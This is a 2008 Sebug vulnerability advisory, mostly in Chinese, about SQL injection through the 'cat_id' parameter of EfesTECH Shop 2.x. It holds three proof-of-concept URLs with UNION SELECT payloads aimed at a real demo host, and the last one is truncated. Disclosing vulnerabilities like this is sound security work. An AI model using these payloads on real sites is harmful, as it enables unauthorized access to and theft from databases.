EfesTECH Shop "cat_id" SQL注入漏洞

SEBUGID:SSD-20080713536

Published:2008-07-02

Vulnerable:

EfesTECH Shop 2.x

Discription:

BUGTRAQ ID:
CNCAN ID：CNCAN-2008070303

EfesTECH Shop是一款基于ASP的WEB应用程序。
EfesTECH Shop不正确处理用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可能获得敏感信息或操作数据库。
问题是'default.asp'脚本对用户提交给'cat_id'参数缺少过滤，构建恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。

<*References

http://secunia.com/advisories/30896/

SEBUG Solution:

目前没有详细解决方案提供：
http://www.aspindir.com/Goster/5479

Exploit:

[www.sebug.net]
The following procedures (methods) may contain something offensive，they are only for security researches and teaching , at your own risk!

http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+union+select+0+from+ayarlar

http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+union+select+0+from+eng

http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+u

// Sebug.net [ 2008-07-03 ]